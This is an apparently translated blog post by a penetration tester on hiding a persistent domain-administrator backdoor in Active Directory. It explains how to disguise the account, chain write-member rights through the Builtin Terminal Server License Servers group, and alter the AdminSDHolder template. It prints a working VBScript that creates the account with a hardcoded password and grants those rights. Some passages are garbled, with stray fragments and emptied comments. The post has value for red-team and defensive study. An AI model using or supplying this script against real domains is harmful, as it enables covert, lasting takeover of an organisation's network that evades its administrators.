Backdoor in Active Directory

At one time, less than a year ago, a publication with a similar title flashed across the table [ 1 ]. In it, the author offered a way to conceal the privileges of a domain administrator by using the “Program data” office storage as a container for hosting a “hidden” account, combined with aggressive demarcation of rights to prevent access to the “hidden” account. However, despite the assurances of the author, the detection of a “hidden” account and its subsequent deletion could be accomplished with just a few clicks.

1. Detection and unimpeded account deletion (despite the author’s reverse statements [ 1 ]).



2. Remove traces from Active Directory.
')








Those. The proposed approach in practice will not work. But maybe there is a more suitable alternative to this method (including without using rootkits on domain controllers :))?

Due to the fact that my activity is directly related to testing for penetration , this issue has been spinning in my head for some time. And I was spinning up to the moment it was not required in one of the works I was doing to go unnoticed for a long time, while remaining the administrator of the enterprise and fulfilling the condition of minimizing the impact on the information system.

As one famous writer of detective novels said:
- Where is the best place to hide a sheet?
- In the autumn forest!
- Where is the best place to hide a stone?
- On the seashore!
“And where is the best place to hide a corpse?”
- On the battlefield.

Drawing a parallel with the domain directory, you can adhere to the following strategy:

- It is better not to hide the backdoor ID, but to keep it in one container with a large accumulation of other user IDs. In this case, the created identifier should be as close as possible to the most ordinary corporate account.

- The backdoor identifier must not be directly a member of groups with extended privileges in the domain. To do this, it is better to use the access control features, as shown in the picture below.



- It is not quite reasonable to “shine” the user's backdoor identifier even in access control lists for groups with extended privileges in the domain. A more reasonable approach is to extend privileges to security groups that are already members of ACLs in access control lists for groups with extended privileges in the domain. For these purposes, the “Builtin \ Terminal Server License Servers” group is well suited:



So, to effectively create a backdoor, as described above, you need:

1. To have an inconspicuous user;
2. Allow this user to change the list of members of the “Builtin \ Terminal Server License Servers” group;
3. Allow the “Builtin \ Terminal Server License Servers” group to change the list of group members, for example, “Domain Admins”.

It is worth noting a small nuance. It’s just not possible to change the access control list for the Domain Admins group. The fact is that the Active Directory architecture provides protection for access control lists of the most sensitive objects (adminSDHolder, [ 2 ]), including:

- Enterprise Admins
- Schema Admins
- Domain Admins
- Administrators
- Domain Controllers
- Cert Publishers
- Backup Operators
- Replicator Server Operators
- Account Operators
- Print Operators

To make changes to the access control list of the above groups not overwritten every hour, you must either change the template access control list on the object “CN = AdminSDHolder, CN = System,” or set the attribute “adminCount” to zero for the required object [ 3 ]. I see a more promising rewrite of the template access control list because Not every administrator is familiar with such a “protective” Active Directory mechanism.

The script below can be used to automate the bookmarks in Active Directory.

On Error Resume Next

'
username = "PT"
password = "P@ssw0rd"

' ,
userDN = "cn=Users"

' , ACLs Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"

'
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

'
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' , ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Terminal Server License Servers Domain Admins
GroupAddAce adminsGroup,joinGroup

' "" ACL
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function


One has only to add that, despite its simplicity, it is quite difficult to find such a tab without means of continuous automated monitoring. While developing the idea, you can think in the direction of more complex bookmarks, for example, to allow the user to manage group policies for the OU containing domain controllers, etc.